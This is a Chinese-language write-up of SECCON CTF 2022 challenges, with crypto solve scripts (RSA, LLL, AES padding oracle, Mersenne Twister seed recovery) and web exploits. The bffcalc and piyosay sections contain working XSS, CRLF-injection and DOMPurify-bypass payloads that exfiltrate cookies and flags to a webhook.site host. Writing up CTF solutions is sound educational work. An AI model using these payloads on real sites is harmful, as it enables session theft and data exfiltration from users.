SECCON CTF 2022 Writeups
這次在 TSJ (實質 solo QQ) 解了些的題目,一樣有學到些東西所以也簡單紀錄一下做法。
Crypto
pqpq
1 | from Crypto.Util.number import * |
首先可得
所以有
再來是因為 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25from math import gcd
from Crypto.Util.number import long_to_bytes
e = 131074
n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866
# c1 = p^e - q^e mod pq
# c2 = p^e + q^e mod pq
# c1 + c2 = 2p^e mod pq
p = gcd(c1 + c2, n)
q = gcd(c1 - c2, n)
r = n // (p * q)
d = pow(e // 2, -1, (p - 1) * (q - 1) * (r - 1))
m2 = pow(cm, d, n)
for mp in GF(p)(m2).sqrt(all=True):
for mq in GF(q)(m2).sqrt(all=True):
for mr in GF(r)(m2).sqrt(all=True):
m = crt([ZZ(mp), ZZ(mq), ZZ(mr)], [p, q, r])
print(long_to_bytes(int(m)))
# SECCON{being_able_to_s0lve_this_1s_great!}
BBB
1 | from Crypto.Util.number import bytes_to_long, getPrime |
可以注意到 flag 最多 116 bytes,而
要達成 hastad broadcast attack 需要讓五次的 generate_key
裡面的迴圈數量又不定讓我想到找不動點 seed
,所以我想找
找到之後可以用
然而這題有個問題在於它 remote 在 generate_key
的時候很花時間,再來前面的運氣好實際上也只有
我注意到它還會 check gcd(e, phi) == 1
,所以只要
這樣成功的把 bruteforce 的時間縮短點,然後之後就多試幾次就行了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75from pwn import process, remote
from Crypto.Util.number import long_to_bytes
# io = process(["python", "chall.py"])
io = remote("BBB.seccon.games", 8080)
io.recvuntil(b"a=")
a = int(io.recvline().strip())
io.recvuntil(b"p=")
p = int(io.recvline().strip())
F = GF(p)
E = 11
P.<x, b> = F[]
f = x ^ 2 + a * x + b
bs = (
(f(f(f(f(f, b), b), b), b)(E, b) - E)
.univariate_polynomial()
.roots(multiplicities=False)
)
for b in bs:
print("=" * 40)
P.<x> = F[]
f = x ^ 2 + a * x + b
isgood = False
v = E
seeds = set()
for i in range(10):
print(i, v)
seeds.add(int(v))
v = f(v)
if v != E:
# we don't want all same value
isgood = True
if isgood:
break
print(f"{b = }")
print(f"{seeds = }")
if len(seeds) != 5 or not all([s % 2 == 0 for s in set(seeds) - {E}]):
print("bad seeds :(")
exit()
io.recvuntil(b"!!: ")
io.sendline(str(b).encode())
for seed in seeds:
io.recvuntil(b"seed: ")
io.sendline(str(seed).encode())
ns = []
cs = []
for _ in range(5):
io.recvuntil(b"Public Key:")
io.recvuntil(b"n=")
n = int(io.recvline().strip())
io.recvuntil(b"e=")
e = int(io.recvline().strip())
io.recvuntil(b"Cipher Text: ")
c = int(io.recvline().strip())
print(f"#{_}")
print(f"{n = }")
print(f"{e = }")
print(f"{c = }")
if e != E:
print("bad e :(", _)
exit()
ns.append(n)
cs.append(c)
print(f"{ns = }")
print(f"{cs = }")
c = crt(cs, ns)
print(f"{c = }")
m = c.nth_root(E)
print(long_to_bytes(m))
# for i in $(seq 1 16); do python -u test.sage.py > out/out$i.txt &; done
# SECCON{Can_you_find_d_in_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbdbbbbbbbbbbbbbbbbbbbbbbbbbbbbb?}
其實這邊還有個比較好的方法,不用像我這樣 bruteforce,就是先讓
this_is_not_lsb
1 | from Crypto.Util.number import * |
看到這題的第一眼我想到的是 rsa interval oracle iv,所以直接套用相同的 LLL 方法就解掉了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55from pwn import process, remote
import random
import gmpy2
def pow(a, b, c):
return int(gmpy2.powmod(a, b, c))
# io = process(["python", "problem2.py"])
io = remote("this-is-not-lsb.seccon.games", 8080)
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
io.recvuntil(b"flag_length = ")
flag_length = int(io.recvline())
io.recvuntil(b"c = ")
c = int(io.recvline())
# def oracle(c):
# io.sendlineafter(b'c = ', str(c).encode())
# return io.recvline().strip() == b'True'
k = n.bit_length() - 2 - 8
L = 0xFF << k
R = L + (1 << k) - 1
B = 1 << flag_length
def batch_oracle(cc):
io.sendline("\n".join(map(str, cc)).encode())
res = []
for _ in range(len(cc)):
io.recvuntil(b"c = ")
res.append(io.recvline().strip() == b"True")
return res
good = []
while len(good) < flag_length // 10 + 15:
aa = [random.randrange(1, n) for _ in range(2048)]
cc = [pow(a, e, n) * c % n for a in aa]
res = batch_oracle(cc)
good += [a for a, r in zip(aa, res) if r]
print("cur", len(good))
print(len(good))
M = matrix(good).stack(matrix.identity(len(good)) * n)
M = matrix([1] + len(good) * [0]).T.augment(M)
load("solver.sage")
_, _, fin = solve(M, [0] + [L] * len(good), [B] + [R] * len(good))
print(fin[0])
# 923527005889600515717927945977637659146494233475843599679540322066522531810019204383510355169667412726034587411782045475101164773757
# SECCON{WeLC0me_t0_tHe_MirRoR_LaNd!_tHIs_is_lSb_orAcLe!}
不過這很明顯非 intended,預期做法是單純的 binary search 而已 XD。就
insufficient
1 | from random import randint |
這題有個 trivariate 的函數
方法也很明顯,就是它的未知數和
反正先把所有的 coeffs
和 z
當未知數列,一共會得到四個等式,然後把 2 terms 的 monomial (如
然後之後一樣套 CVP solver 會得到一些解,在 local 測試會發現 $a_i,
自己測試一下會發現算出來錯誤的
有加
指的是錯誤的值
所以相減後 gcd 就能拿到正確的
後來我想了一想出現這個問題的地方其實是和它那個函數
注意一下 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79from sage.all import *
from random import randint
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from itertools import product
from functools import reduce
with open("output.txt") as f:
cipher_text = eval(f.readline())
p = eval(f.readline())
shares = eval(f.readline())
F = GF(p)
P = PolynomialRing(F, "a1,a2,a3,b1,b2,b3,c,s,z1,z2,z3,z4")
a1, a2, a3, b1, b2, b3, c, s, *zs = P.gens()
nvars = len(P.gens())
eqs = []
for ((x, y), w), z in zip(shares, zs):
ww = (
a1 * x
+ a2 * x**2
+ a3 * x**3
+ b1 * y
+ b2 * y**2
+ b3 * y**3
+ c * z
+ s
)
eqs.append(ww - w)
M, v = Sequence(eqs).coefficient_matrix()
v = vector(v)[:-1]
M = M.dense_matrix().T.change_ring(ZZ)
target = -M[-1]
M = M[:-1]
nr, nc = M.dimensions()
print(nr, nc)
IP = matrix.identity(nc) * p
I = matrix.identity(nr)
Z = matrix.zero(nc, nr)
B = block_matrix(ZZ, [[M, I], [IP, Z]])
print(B.change_ring(Zmod(10)))
load("solver.sage")
lb = list(target) + [0] * nr
ub = list(target) + [ZZ(mono((2**128,) * nvars)) for mono in v]
result, applied_weights, fin = solve(B, lb, ub)
res = [x // y for x, y in zip(result, applied_weights)]
print(v)
print(vector(res))
cz1, cz2, cz3, cz4, a1, a2, a3, b1, b2, b3, s = res[nc:]
# a1,a2,a3,b1,b2,b3 are correct here
# but cz1,cz2,cz3,cz4,s are not...
# it seems cz1 is actually c*z1+k
# and cz2 is actually c*z2+k
# and s is actuall s-k
czs = [cz1, cz2, cz3, cz4]
diffs = [x - y for x, y in product(czs, repeat=2)]
c = reduce(gcd, diffs)
z1, z2, z3, z4 = [x // c + 1 for x in czs]
k = cz1 - c * z1
assert k == cz2 - c * z2
s += k
roots = [a1, a2, a3, b1, b2, b3, c, s, z1, z2, z3, z4]
for eq in eqs:
assert eq(*roots) == 0
key = 0
for coeff in [a1, a2, a3, b1, b2, b3, c, s]:
key <<= 128
key ^= coeff
flag = long_to_bytes(cipher_text ^ key)
print(flag)
# SECCON{Unfortunately_I_could_not_come_up_with_a_more_difficult_problem_than_last_year_sorry...-6fc18307d3ed2e7673a249abc2e0e22c}
witches_symmetric_exam
1 | from Crypto.Cipher import AES |
這題是個看起來很複雜,但概念很簡單,然而實作又更加複雜的一個題目==。
這題關鍵在於它有 AES-OFB 的 padding oracle,由於 OFB 的 encrypt 和 decrypt 是相同的,可以利用 oracle 來達成任意 plaintext 的加密,也就是能寫出一個
而 GCM 的部分在有
用 padding oracle 實作 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149from pwn import process, remote
import ast
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher._mode_gcm import _GHASH, _ghash_portable as ghash_c
from Crypto.Util.number import *
# io = process(["python", "problem.py"])
io = remote("witches-symmetric-exam.seccon.games", 8080)
io.recvuntil(b"ciphertext: ")
ciphertext = bytes.fromhex(io.recvline().decode().strip())
def decrypt(ct, ret=True):
io.sendlineafter(b"ciphertext: ", ct.hex().encode())
if ret:
return ast.literal_eval(io.recvline().strip().decode())
def batch_decrypt(cts):
io.sendline("\n".join(map(bytes.hex, cts)).encode())
res = []
for _ in range(len(cts)):
io.recvuntil(b"ciphertext: ")
r = ast.literal_eval(io.recvline().strip().decode())
res.append(r)
return res
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
def ecb_enc(pt):
print("Encrypting", pt)
assert len(pt) == 16
result = b""
for i in range(16):
pad = i + 1
ct = bytearray([0] * 16)
for j in range(256):
ct[:i] = [pad ^ x for k, x in enumerate(result)]
ct[i] = j
if decrypt(pt + ct[::-1]) != b"ofb error":
result += bytes([j ^ pad])
break
else:
raise Exception(f"Padding oracle failed")
return result[::-1]
def ecb_enc(pt):
# optimized for remote using batch decryption oracle
print("Encrypting", pt)
assert len(pt) == 16
result = b""
for i in range(16):
pad = i + 1
cts = []
ct = bytearray([0] * 16)
for j in range(256):
ct[:i] = [pad ^ x for k, x in enumerate(result)]
ct[i] = j
cts.append(bytes(ct))
res = batch_decrypt([pt + ct[::-1] for ct in cts])
for j, r in enumerate(res):
if r != b"ofb error":
result += bytes([j ^ pad])
break
return result[::-1]
def ofb_decrypt(iv, ct):
pt = b""
for i in range(0, len(ct), 16):
iv = ecb_enc(iv)
pt += xor(iv, ct[i : i + 16])
return pt
ofb_iv = ciphertext[:16]
ofb_ciphertext = ciphertext[16:]
ofb_input = ofb_decrypt(ofb_iv, ofb_ciphertext)
print(ofb_input)
ofb_stream = xor(ofb_input, ofb_ciphertext)
print(ofb_stream)
def gcm_oracle(inp):
inp = pad(inp, 16)
assert len(inp) <= len(ofb_stream)
return decrypt(ofb_iv + xor(ofb_stream, inp), ret=False)
gcm_concat = unpad(ofb_input, 16)
gcm_tag = gcm_concat[:16]
gcm_nonce = gcm_concat[16:32]
gcm_ciphertext = gcm_concat[32:]
class FakeCTR:
def __init__(self, ecb_enc, initial_value, nonce):
if isinstance(initial_value, bytes):
initial_value = int.from_bytes(initial_value, "big")
self.ecb_enc = ecb_enc
self.initial_value = initial_value
self.nonce = nonce
self.ctr = (int.from_bytes(nonce, "big") << 32) | initial_value
def encrypt(self, pt, output=None):
ct = b""
for i in range(0, len(pt), 16):
ct += xor(self.ecb_enc(self.ctr.to_bytes(16, "big")), pt[i : i + 16])
self.ctr += 1
return ct
class FakeGCM:
def __init__(self, ecb_enc, nonce):
self.ecb_enc = ecb_enc
self.nonce = nonce
self.hash_subkey = ecb_enc(b"\x00" * 16)
fill = (16 - (len(nonce) % 16)) % 16 + 8
ghash_in = nonce + b"\x00" * fill + long_to_bytes(8 * len(nonce), 8)
self.j0 = _GHASH(self.hash_subkey, ghash_c).update(ghash_in).digest()
self.nonce_ctr = self.j0[:12]
self.iv_ctr = (bytes_to_long(self.j0) + 1) & 0xFFFFFFFF
def encrypt(self, msg):
cip = AES.new(b"\x00" * 16, AES.MODE_GCM, nonce=gcm_nonce)
cip._cipher = FakeCTR(ecb_enc, self.iv_ctr, self.nonce_ctr)
cip._tag_cipher = FakeCTR(ecb_enc, self.j0, b"")
cip._signer = _GHASH(self.hash_subkey, ghash_c)
return cip.encrypt_and_digest(msg)
gcm = FakeGCM(ecb_enc, gcm_nonce)
ctr = FakeCTR(ecb_enc, gcm.iv_ctr, gcm.nonce_ctr)
secret_spell = xor(ctr.encrypt(b"\x00" * len(gcm_ciphertext)), gcm_ciphertext)
print(secret_spell)
ct, tag = gcm.encrypt(b"give me key")
gcm_oracle(tag + gcm_nonce + ct)
io.sendlineafter(b"spell:", secret_spell)
io.interactive()
# SECCON{you_solved_this!?I_g1ve_y0u_symmetr1c_cipher_mage_certificate}
如果要找 GCM 完全都自己處理的版本的話可以參考 rkm0959 的 solve script。
janken vs kurenaif
1 | import os |
這題單純要找到一個 Python 的 random object 可以產生出指定會勝利的 output 是很簡單,只要 z3 或是其他東西 solve 一下然後把 states 設定好就行了。然而困難的地方在於這題還要求那個 random object 是要可以用 seed 弄出來的,而不是每個 states 都有可能用一個 integer seed 生成的。
看一下 random_seed 的實作可以知道它會把 int 按 32 bits 切割,然後用 init_by_array
做一些很複雜的操作去把 state 初始化。
然後去查一下可以在 RNGeesus 的 mersenne.py 找到有人用 z3 嘗試把 states 逆轉回 seed 成功,所以我把它結合 icemonster/symbolic_mersenne_cracker 在一起,讓 z3 去解也真的成功了。這個方法的唯一缺點是它需要花上十幾分鐘才能解出來,不過因為題目給的時間限制也是 1000 秒,大概代表這是 intended 吧。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198from z3 import *
from pwn import process, remote, context
import signal
import random
from itertools import count
context.log_level = "debug"
# io = process(["python", "server.py"])
io = remote("janken-vs-kurenaif.seccon.games", 8080)
io.recvuntil(b"is ")
THE_SEED = int(io.recvuntil(b".")[:-1].decode(), 16)
signal.alarm(1000)
def randbelow(r, n):
k = n.bit_length()
v = r.getrandbits(k)
while v >= n:
v = r.getrandbits(k)
return v
def janken(a, b):
return (a - b + 3) % 3
r1 = random.Random(THE_SEED)
vals = []
for _ in range(666):
b = r1.randint(0, 2)
a = (1 - 3 + b) % 3
assert janken(a, b) == 1
vals.append(a)
class Untwister:
def __init__(self):
self.ctr = count()
name = next(self.ctr)
self.init_MT = [BitVec(f"MT_{i}_{name}", 32) for i in range(624)]
self.MT = self.symbolic_twist(self.init_MT)
self.index = 0
self.solver = Solver()
self.subs = 0
# This particular method was adapted from https://www.schutzwerk.com/en/43/posts/attacking_a_random_number_generator/
def symbolic_untamper(self, solver, y):
name = next(self.ctr)
y1 = BitVec(f"y1_{name}", 32)
y2 = BitVec(f"y2_{name}", 32)
y3 = BitVec(f"y3_{name}", 32)
y4 = BitVec(f"y4_{name}", 32)
equations = [
y2 == y1 ^ (LShR(y1, 11)),
y3 == y2 ^ ((y2 << 7) & 0x9D2C5680),
y4 == y3 ^ ((y3 << 15) & 0xEFC60000),
y == y4 ^ (LShR(y4, 18)),
]
solver.add(equations)
return y1
def symbolic_twist(
self,
MT,
n=624,
upper_mask=0x80000000,
lower_mask=0x7FFFFFFF,
a=0x9908B0DF,
m=397,
):
"""
This method models MT19937 function as a Z3 program
"""
MT = [i for i in MT] # Just a shallow copy of the state
for i in range(n):
x = (MT[i] & upper_mask) + (MT[(i + 1) % n] & lower_mask)
xA = LShR(x, 1)
xB = If(
x & 1 == 0, xA, xA ^ a
) # Possible Z3 optimization here by declaring auxiliary symbolic variables
MT[i] = MT[(i + m) % n] ^ xB
return MT
def get_symbolic(self, guess):
name = next(self.ctr)
ERROR = 'Must pass a string like "?1100???1001000??0?100?10??10010" where ? represents an unknown bit'
assert type(guess) == str, ERROR
assert all(map(lambda x: x in "01?", guess)), ERROR
assert len(guess) <= 32, "One 32-bit number at a time please"
guess = guess.zfill(32)
self.symbolic_guess = BitVec(f"symbolic_guess_{name}", 32)
guess = guess[::-1]
for i, bit in enumerate(guess):
if bit != "?":
self.solver.add(Extract(i, i, self.symbolic_guess) == bit)
return self.symbolic_guess
def submit(self, guess):
"""
You need 624 numbers to completely clone the state.
You can input less than that though and this will give you the best guess for the state
"""
self.subs += 1
if self.index >= 624:
name = next(self.ctr)
next_mt = self.symbolic_twist(self.MT)
self.MT = [BitVec(f"MT_{i}_{name}", 32) for i in range(624)]
for i in range(624):
self.solver.add(self.MT[i] == next_mt[i])
self.index = 0
symbolic_guess = self.get_symbolic(guess)
symbolic_guess = self.symbolic_untamper(self.solver, symbolic_guess)
self.solver.add(self.MT[self.index] == symbolic_guess)
self.index += 1
def get_random(self, skip_states=True):
"""
This will give you a random.Random() instance with the cloned state.
"""
print("Solving...")
self.solver.check()
model = self.solver.model()
# Compute best guess for state
state = list(map(lambda x: model[x].as_long(), self.init_MT))
result_state = (3, tuple(state + [624]), None)
r = random.Random()
r.setstate(result_state)
if skip_states:
for _ in range(self.subs):
r.getrandbits(32)
return r
from RNGeesus.src.code_mersenne.mersenne import MT19937
num_seeds = 624
MT = [BitVecVal(i, 32) for i in MT19937(19650218).MT]
SEEDS = [BitVec(f"seed[{i}]", 32) for i in range(num_seeds)]
i, j = 1, 0
n = 624
for k in range(n):
MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEEDS[j] + j
i += 1
j += 1
if i >= n:
MT[0] = MT[n - 1]
i = 1
if j == num_seeds:
j = 0
for k in range(n - 1):
MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i
i += 1
if i >= n:
MT[0] = MT[n - 1]
i = 1
MT[0] = BitVecVal(0x80000000, 32)
r1 = random.Random(THE_SEED)
ut = Untwister()
for i in range(624):
ut.solver.add(ut.init_MT[i] == MT[i])
for v in vals:
ut.submit(f"{v:02b}" + "?" * 30)
r2 = ut.get_random(skip_states=False)
for v in vals:
assert janken(r2.randint(0, 2), r1.randint(0, 2)) == 1
m = ut.solver.model()
seeds = [m[s].as_long() for s in SEEDS]
print(seeds)
def array_to_int(arr):
return int.from_bytes(
b"".join([int.to_bytes(i, 4, "little") for i in arr]), "little"
)
seed = array_to_int(seeds)
r1 = random.Random(THE_SEED)
r3 = random.Random(seed)
for v in vals:
assert janken(r3.randint(0, 2), r1.randint(0, 2)) == 1
io.sendline(hex(seed).encode())
io.interactive()
# SECCON{https://youtu.be/h0GSFxoRhrc}
後來讀了 y011d4 的 writeup,發現他的 solve script 只要約 20 秒就能解出來了...
看來我應該研究一下他的 z3 用法,或許能讓我的 script 更快一點
Web
skipinx
1 | const app = require("express")(); |
然後在這個 server 前有個 nginx 在:1
2
3
4
5
6
7
8
9server {
listen 8080 default_server;
server_name nginx;
location / {
set $args "${args}&proxy=nginx";
proxy_pass http://web:3000;
}
}
單從 set $args
那行我想不到什麼方法繞,所以就去研究 express.js 處理 query string 的 qs module 了。當它出現重複的 key 時預設會把它變成 array,所以 req.query.proxy.includes("nginx")
仍然會是 true,所以這樣是繞不過的。
後來去讀了它裡面的 code 發現有 parameterLimit 這個選項存在,而它會被用到 split()
的最大切分數量那邊,所以只要塞超過一些個 &
就會讓最後面的 &proxy=nginx
不會當成獨立的選項處理,因此就能繞過。1
2
3http://skipinx.seccon.games:8080/?proxy=1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
# SECCON{sometimes_deFault_options_are_useful_to_bypa55}
bffcalc
它有個明顯的 XSS 在,然而 flag 是放在 http-only cookie 裡面所以不能直接拿到。不過這提最有趣的地方是它有個自己弄的 http proxy:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25def proxy(req) -> str:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("backend", 3000))
sock.settimeout(1)
payload = ""
method = req.method
path = req.path_info
if req.query_string:
path += "?" + req.query_string
payload += f"{method} {path} HTTP/1.1\r\n"
for k, v in req.headers.items():
payload += f"{k}: {v}\r\n"
payload += "\r\n"
print(payload.encode())
sock.send(payload.encode())
time.sleep(.3)
try:
data = sock.recv(4096)
body = data.split(b"\r\n\r\n", 1)[1].decode()
except (IndexError, TimeoutError) as e:
print(e)
body = str(e)
return body
測試了一下可以利用 req.path_info
包含 %0D%0A
等字元去 CRLF Injection,所以只要找方法用適當的劃分讓 Cookie 的部分想辦法讓 backend 回顯回來即可。
做一些測試後能發現 backend 會在遇到不正常的 http method 時直接把錯誤的 method name 回顯,所以透過 Content-Length
和 Connection: keep-alive
控制一下就能讓 flag 被當成 method name 回顯回來。
具體要讓 xss 執行的 script 如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22;(async () => {
document.cookie = 'long=l000000000000000000000000000000g'
for (let i = 300; i < 500; i += 1) {
fetch(
'/' +
encodeURIComponent(
' HTTP/1.0\r\nConnection: keep-alive\r\n\r\nPOST /x HTTP/1.0\r\nConnection: keep-alive\r\nContent-Length: ' +
i +
'\r\n\r\n'
),
{ headers: { 'X-A': 'ASD' } }
)
.then(r => r.text())
.then(res => {
if (res.includes('SECCON'))
return fetch('https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f?result=' + i, {
body: res,
method: 'POST'
})
})
}
})()
把它放在 webhook.site 的 response 中然後用 iframe + script 執行即可:1
2
3<iframe srcdoc="<script src='https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f'></script>"></iframe>
SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}
piyosay
一樣是 client side 的題目,關鍵的 code 如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46<script>
trustedTypes.createPolicy('default', {
createHTML: unsafe => {
return DOMPurify.sanitize(unsafe).replace(/SECCON{.+}/g, () => {
// Delete a secret in RegExp
''.match(/^$/)
return 'SECCON{REDACTED}'
})
}
})
</script>
<script>
const get = path => {
return path.split('/').reduce((obj, key) => obj[key], document.all)
}
const init = async () => {
const emojis = await (await fetch('/api/emojis')).json()
const fragment = document.createDocumentFragment()
for (const emoji of emojis) {
const elm = document.createElement('p')
elm.innerHTML = emoji
fragment.appendChild(elm)
}
get('emojis').appendChild(fragment)
get('piyo').innerHTML = '🐥/🐣/🐤'.split('/')[(Math.random() * 3) | 0]
}
const main = async () => {
const params = new URLSearchParams(location.search)
const message = `${params.get('message')}${document.cookie.split('FLAG=')[1] ?? 'SECCON{dummy}'}`
// Delete a secret in document.cookie
document.cookie = 'FLAG=; expires=Thu, 01 Jan 1970 00:00:00 GMT'
get('message').innerHTML = message
const emoji = get(params.get('emoji'))
get('message').innerHTML = get('message').innerHTML.replace(/{{emoji}}/g, emoji)
}
document.addEventListener('DOMContentLoaded', async () => {
await init()
await main()
})
</script>
雖然看起來 get('message').innerHTML = message
可以直接 xss,但因為它有弄 trusted types 的緣故還是要繞 DOMPurify。
繞法也很簡單,因為它會在 sanitize 後才把 SECCON{.*}
replace 掉,所以1
SECCON{<p data-x="}<img src onerror='alert(1)'>">
就能繞過保護得到 XSS 了。
不過這題的難點顯然不在於此,因為原本在 document.cookie
中的 flag 消失已經被清除了,而 RegExp.input
和 RegExp.$_
也被作者用 ''.match(/^$/)
擋住了,所以需要找找有沒有什麼地方有殘留 flag。
仔細想想會發現 flag 會經過的函數除了那個 replace
以外就只有 DOMPurify.sanitize
,所以應該是不會有殘留的對吧...? 其實關鍵就在這邊,因為 DOMPurify 其實有個 DOMPurify.removed
的 array 會記錄下所有被移除掉的 elements,所以只要在 message
的尾端塞 <script>
,那包含 flag 的那個 <script>
就會被放到裡面去,然後存取 DOMPurify.removed[0].element.textContent
就能找回 flag 了。
不過後面要注意的一點是第二個 innerHTML
assignment 也會把 DOMPurify.removed
清空,所以要讓 const emoji = ...
那行 error 才能讓後面不執行。1
2SECCON{<p data-x="}<img src onerror='flag=DOMPurify.removed[0].element.textContent;(new Image).src=\`https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f?flag=\`+flag'>">
<script>1
2
3http://web:3000/result?emoji=asd%2Fb&message=%0ASECCON%7B%3Cp+data-x%3D%22%7D%3Cimg+src+onerror%3D%27flag%3DDOMPurify.removed%5B0%5D.element.textContent%3B%28new+Image%29.src%3D%60https%3A%2F%2Fwebhook.site%2F78142dca-2eba-4d75-8b99-107dbe2a598f%3Fflag%3D%60%2Bflag%27%3E%22%3E%0A%3Cscript%3E%0A
SECCON{w0w_yoU_div3d_deeeeeep_iNto_DOMPurify}